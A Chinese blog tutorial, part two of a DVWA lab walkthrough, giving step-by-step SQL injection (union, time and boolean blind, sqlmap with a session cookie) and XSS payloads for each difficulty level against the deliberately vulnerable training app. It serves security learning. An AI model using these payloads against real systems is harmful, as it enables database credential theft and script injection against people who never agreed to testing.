Dvwa渗透测试指南（下）

已于 2024-09-14 09:14:54 修改
阅读量416 收藏 14
点赞数 19
文章标签： oracle 数据库 linux 网络安全
于 2024-09-14 09:06:43 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_87264786/article/details/142243887
版权

一、SQL注入（SQL Injection）

DVWA将SQL注入分为两类：SQL Injection 和 SQL Injection (Blind)。以下是对这两种注入的各个难度级别（低、中、高）的详细步骤。

1. SQL Injection
低级别（Low）

  1. 判断是否存在注入，以及注入类型
    输入：

    ' OR '1'='1

    结果： 返回多个结果，存在字符型注入。

  2. 猜测SQL查询语句中的字段数
    输入：

    1' OR 1=1 ORDER BY 1 #
1' OR 1=1 ORDER BY 2 #
1' OR 1=1 ORDER BY 3 #

    结果： ORDER BY 3 查询失败，表示有2个字段。

  3. 确定显示的字段位置
    输入：

    1' UNION SELECT 1,2 #

    结果： 页面显示 1 和 2，表示这两个字段可以显示数据。

  4. 获取当前数据库
    输入：

    1' UNION SELECT 1, database() #

    结果： 显示当前数据库的名称。

  5. 获取表名
    输入：

    1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() #

    结果： 显示当前数据库中的表名。

  6. 获取列名
    输入：

    1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' #

    结果： 显示表 users 中的列名。

  7. 获取用户数据
    输入：

    1' UNION SELECT user, password FROM users #

    结果： 显示 username 和 password 列中的数据。

中级别（Medium）
1. 判断注入是否有效

  1. 使用抓包工具：

    • 使用 Burp Suite 或者浏览器扩展 HTTPFox、Fiddler 等抓包工具，拦截你在DVWA中提交的请求。

  2. 抓包步骤：

    • 在输入框中输入一个任意值，例如 1，然后点击提交按钮。
    • 抓包工具会拦截这个HTTP请求，查看请求参数，比如：
      GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: [DVWA_URL]

  3. 修改请求：

    • 修改请求中的参数值，将其替换为注入语句，例如：
      GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
Host: [DVWA_URL]
    • 发送修改后的请求。
    • 结果： 如果注入成功，服务器将返回多个结果，表明SQL注入有效。
2. 猜测SQL查询语句中的字段数
  • 抓包并修改参数，输入以下内容：
    GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 1-- -&Submit=Submit HTTP/1.1
  • 依次增加 ORDER BY 后的数字，直到查询失败。例如：
    GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 2-- -&Submit=Submit HTTP/1.1
GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 3-- -&Submit=Submit HTTP/1.1
  • 结果： 当查询失败时，比如在 ORDER BY 3 失败，表示SQL查询语句中有两个字段。
3. 确定显示的字段位置
  1. 使用抓包工具：
    修改请求，输入：
    GET /vulnerabilities/sqli/?id=1' UNION SELECT 1,2-- -&Submit=Submit HTTP/1.1
    结果： 页面显示两个位置被替换为数字 1 和 2，表示这两个字段可以显示数据。
4. 获取当前数据库
  1. 使用抓包工具：
    修改请求，输入：
    GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, database()-- -&Submit=Submit HTTP/1.1
    结果： 页面显示当前数据库的名称。
5. 获取表名
  1. 使用抓包工具：
    修改请求，输入：
    GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database()-- -&Submit=Submit HTTP/1.1
    结果： 页面将显示当前数据库中的所有表名。
6. 获取列名
  1. 使用抓包工具：
    假设你发现了一个表名为 users，修改请求，输入：
    GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'-- -&Submit=Submit HTTP/1.1
    结果： 页面将显示 users 表中的所有列名。
7. 获取用户数据
  1. 使用抓包工具：
    假设找到了 users 表中的列名为 username 和 password，修改请求，输入：
    GET /vulnerabilities/sqli/?id=1' UNION SELECT username, password FROM users-- -&Submit=Submit HTTP/1.1
    结果： 页面将显示所有用户名和密码。
高级别（High）
1. 测试基本SQL注入

  1. 直接输入：
    在 SQL Injection 页面中的输入框中输入：

    ' OR '1'='1

    结果： 通常会返回查询失败，因为高级别下会对输入进行严格过滤，防止简单的注入。

  2. 预处理语句的影响：

    • 在高级别中，DVWA可能使用了预处理语句，这意味着用户输入的任何特殊字符（如 '、"、;）都会被视为文本数据，而不会影响SQL查询的结构。这使得传统SQL注入无效。
2. 使用盲注
  • 盲注（Blind SQL Injection） 可能仍然有效，但需要更多的时间和技巧来获取数据，因为无法直接看到查询的结果。高级别可能没有直接显示错误信息，利用以下方式进行盲注测试：

  1. 时间盲注（Time-Based Blind Injection）：
    在输入框中输入以下语句，观察页面响应时间：

    1' AND IF(1=1, SLEEP(5), 0) #

    结果： 如果页面延迟了5秒，说明注入成功，表示存在盲注。

    继续使用时间盲注获取数据，例如获取数据库名称的第一个字符：

    1' AND IF(SUBSTRING((SELECT DATABASE()), 1, 1) = 'd', SLEEP(5), 0) #

    解释： 通过逐个猜测字符并观察响应时间，可以推断出数据库名称、表名、列名等信息。

  2. 布尔盲注（Boolean-Based Blind Injection）：
    在输入框中输入：

    1' AND (SELECT 'a'='a') #

    结果： 页面正常显示，表示注入有效。
    进一步尝试：

    1' AND (SELECT 'a'='b') #
    • 结果： 页面显示与之前不同，表明可以利用布尔盲注来判断查询条件是否为真。
3. 使用工具自动化测试
  • 在高级别SQL注入中，手工注入变得非常困难。此时，可以使用一些自动化工具，如 sqlmap，尝试检测并利用SQL注入。

  1. 使用 sqlmap：
    使用抓包工具（如Burp Suite）获取DVWA请求的完整URL，然后将其用于 sqlmap 命令：

    sqlmap -u "http://[DVWA_URL]/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=high"

    选项：

    • -u：目标URL
    • --cookie：包含登录后的会话ID和DVWA的安全级别（设置为高）
      结果： sqlmap 将尝试不同的注入方式，包括盲注、基于时间的注入等，自动化获取数据。

  2. 获取数据库信息：
    在成功检测到SQL注入后，可以继续使用 sqlmap 提取数据库信息，例如：

    sqlmap -u "http://[DVWA_URL]/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=high" --dbs

    结果： sqlmap 将列出数据库名称。

2. SQL Injection (Blind)
低级别（Low）

  1. 判断是否存在盲注
    输入：

    1' AND SLEEP(5) #

    结果： 页面延迟5秒，表示存在SQL盲注。

  2. 布尔盲注
    输入：

    1' AND 1=1 #
1' AND 1=2 #

    结果： 根据返回结果判断查询是否成功。

  3. 猜测数据库名称
    输入：

    1' AND (SELECT database())='dvwa' #

    结果： 返回不同的页面，表示数据库名称为 dvwa。

中级别（Medium）

  1. 判断是否存在盲注
    输入：

    1' AND IF(1=1, SLEEP(5), 0) #

    结果： 延迟5秒，表示注入成功。

  2. 布尔盲注
    结果： 通过修改布尔条件推断出数据。

高级别（High）
  1. 尝试盲注
    结果： 使用盲注很难成功，需要使用高级工具如 sqlmap。

二、XSS（跨站脚本攻击）

DVWA将XSS分为三类：XSS (Reflected)、XSS (Stored)、XSS (DOM)。

1. XSS (Reflected)
低级别（Low）
  1. 测试XSS注入
    输入：
    <script>alert('Reflected XSS')</script>
    结果： 页面弹出 “Reflected XSS”。
中级别（Medium）

尝试绕过

  • 输入：
    <img src=x onerror="alert('Reflected XSS')">
  • 结果： 弹出对话框。
高级别（High）
  1. 高级绕过
    • 输入：
      <svg/οnlοad=alert('Reflected XSS')>
    结果： 如果成功显示弹框，则绕过过滤。
2. XSS (Stored)
低级别（Low）
  1. 存储XSS
    输入：
    <script>alert('Stored XSS')</script>
    结果： 存储并在页面显示。
中级别（Medium）
  1. 绕过
    输入：
    <img src=x onerror="alert('Stored XSS')">
    结果： 存储并在页面显示。
高级别（High）
  1. 高级绕过
    输入：
    <svg/οnlοad=alert('Stored XSS')>
    结果： 如果成功显示弹框，则绕过。
3. XSS (DOM)
低级别（Low）
  1. 测试DOM XSS
    在URL中输入：
    http://[DVWA_URL]/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>
    结果： 弹出 “DOM XSS”。
中级别（Medium）
  1. 尝试绕过
    输入：
    http://[DVWA_URL]/vulnerabilities/xss_d/?default=<img src=x οnerrοr=alert('DOM XSS')>
    结果： 页面弹出对话框。
高级别（High）
  1. 高级绕过
    输入：
    http://[DVWA_URL]/vulnerabilities/xss_d/?default=<svg/οnlοad=alert('DOM XSS')>
    结果： 如果成功显示弹框，则绕过过滤。
幸运Cookie
关注
Web安全攻防 渗透测试实战指南3
jxy191021的博客
04-05 6258
第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境，本节演示的是WDLinux的一款集成的安装包。 首先，下载需要的安装包，命令如下所示。 wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz 下载完成后进行解压，解压文件的命令为tar zxvf lanmp_v3.tar.gz，运行环境如下图所示。 输入sh lanmp.sh命令运行LANMP，这时程序中会有5个选项，如下
Web安全攻防渗透测试实战指南笔记 三
Ren59421的博客
04-05 8010
第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境，本节演示的是WDLinux的一款集成的安装包。 首先，下载需要的安装包，命令如下所示。 wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz 下载完成后进行解压，解压文件的命令为tar zxvf lanmp_v3.tar.gz，运行环境如下图所示。 输入sh lanmp.sh命令运行LANMP，这时程...
Dvwa渗透测试指南（上）
2401_87264786的博客
09-13 895
Linux。
如何入门渗透测试
热门推荐
qq_28205153的博客
04-03 5万+
转眼间，从大三开始学安全，到现在也有五年了，也算是对渗透测试有一定理解，公众号准备出一些入门教程，以实操为主，希望可以帮助到想入门渗透测试的小白。如果觉得有用，可以在文章后面支持一下我，作为我写下去的动力。 1. 什么是渗透测试 渗透测试就是模拟真实黑客的攻击手法对目标网站或主机进行全面的安全评估，与黑客攻击不一样的是，渗透测试的目的是尽可能多地发现安全漏洞，而真实黑客攻击只要发现一处入侵点即可以进入目标系统。 一名优秀的渗透测试工程师也可以认为是一个厉害的黑客，也可以被称呼为白帽子。 一定要注意的是，在.
渗透测试的学习指南
Z_Grant的博客
07-24 2538
文章目录一，网络渗透测试概况1.1定义1.2方法1.3渗透测试的目标1.4渗透测试的流程1.5漏洞发掘 二，常用的工具系统和名词解释2.1 名词解释和一些经典工具2.2 Kali linux2.3 metasploit 一，网络渗透测试概况 1.1定义 针对目标网络进行安全检测的评估，目的是发现目标网络存在的漏洞以及安全机制方面的隐患并提出改善方法。通常采用与黑客相同的方式对目标进行入侵。 ...
新手学习渗透测试的入门指南
46的十哥哥的5哥哥
11-16 1万+
渗透测试入门手册 本手册将持续更新！这是20190707版 如果觉得本文有用，请高抬贵手分享给你的朋友。 渗透测试是什么？ 维基百科的释义：https://zh.wikipedia.org/wiki/渗透测试 百度百科的释义：https://baike.baidu.com/item/渗透测试 5号黯区的释义：我们理解的渗透测试是通过各种手段对目标进行一次渗透（攻击），通过渗透来测试目标...
新手指南：手把手教你如何搭建自己的渗透测试环境1
08-08
【渗透测试新手指南：搭建自己的渗透测试环境】 渗透测试是一种合法的安全评估方法，由白帽黑客模拟黑帽黑客的行为，以发现并修复系统的漏洞和弱点。在这个过程中，我们需要遵循法律和道德规范，确保在自己的环境中...
DVWA-master.zip
01-05
总结，DVWA靶场是渗透测试和网络安全学习的重要资源，通过它，你可以全面地实践和理解Web应用的安全问题，提升自身的防护能力。记得在操作时遵守道德规范，仅在合法的环境中进行测试，避免对他人造成损害。
DVWA网络安全靶场搭建与练习 附攻略和在线版
01-02
《DVWA网络安全靶场搭建与练习 附攻略和在线版》 ...通过亲自动手实践，你不仅可以增强对安全漏洞的理解，还能提高安全编码和渗透测试的能力。所以，让我们一起进入DVWA的世界，挑战这些漏洞，成为网络安全的守护者吧！
简要介绍联合索引
weixin_46028606的博客
09-10 404
联合索引
oracle 条件取反
weixin_41203765的博客
09-12 1118
在Oracle数据库中，条件取反主要通过逻辑运算符NOT来实现。NOT是一个单目运算符，用于对指定的条件表达式取反。当条件表达式为真（True）时，NOT运算符的结果就是假（False）；反之，当条件表达式为假（False）时，NOT运算符的结果就是真（True）。
数据库系统 第56节 数据库备份与恢复节
hummhumm的专栏
09-13 329
数据库备份与恢复是数据库管理中的重要环节，它们确保了数据的安全性和业务的连续性。
mysql学习教程，从入门到精通，SQL IN & BETWEEN 运算符（13）
最新发布
qq_45746668的博客
09-13 484
我们学习了如何使用AND和OR运算符组合多个条件。但是，有时这是不够的，例如，如果您必须检查位于一个范围或一组值中的值。 这里出现了IN和BETWEEN操作符，它允许您定义一个独占范围或一组值，而不是组合单独的条件。
25. MyBatis中的RowBounds是什么？如何实现内存分页？
zhzjn的博客
09-13 618
是 MyBatis 提供的一种用于结果集分页的功能，主要通过内存分页的方式实现。它通过在查询时传递分页参数，限制返回的结果集的大小。RowBounds并不依赖于数据库层的分页功能，而是通过 MyBatis 在内存中对结果集进行截取，从而实现分页。RowBounds 的基本属性offset：从结果集的第几条记录开始截取。limit：截取的记录条数。例如，offset=5limit=10的RowBounds实例表示从结果集的第 6 条记录开始，取 10 条记录。
mysql性能优化-冷热数据分离
Flying_Fish_roe的博客
09-09 856
是指应用程序中被频繁读取或修改的数据，例如最近的订单、当前用户的活跃信息等。
oracle pkg正在跑如何停止
weixin_41203765的博客
09-13 159
请注意，终止会话可能会导致正在运行的事务被回滚，并可能需要您具有相应的权限来执行这些操作。其中session_id和serial#是您想要终止的会话的ID和序列号。这里的your_username是运行程序包的用户的用户名。这里的package_name是您想要停止的程序包的名称。
oracle 如何查死锁
weixin_41203765的博客
09-13 166
这个查询会返回当前实例中所有当前锁定的对象的信息，包括锁定对象的数据库对象名、对象ID、对象类型，以及锁定该对象的会话信息，如会话ID、会话序列号、用户名和进程ID。在Oracle中查看死锁通常涉及查询数据字典视图和动态性能视图。请注意，这些查询可能需要DBA权限才能执行。如果你没有相应的权限，你可能需要联系你的数据库管理员来获取这些信息。这个查询会返回所有当前正在阻塞其他会话的会话的信息，包括事务ID和阻塞另外哪个会话。
Oracle（114）什么是增量备份（Incremental Backup）？
qq_43012298的博客
09-09 560
增量备份是指只备份自上次备份以来发生变化的数据块，分为差异增量备份和累积增量备份。通过使用 RMAN 进行增量备份，可以有效地管理数据库的备份和恢复操作，节省时间和存储空间。上述步骤和代码示例提供了详细的指导，帮助你使用 RMAN 进行增量备份。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值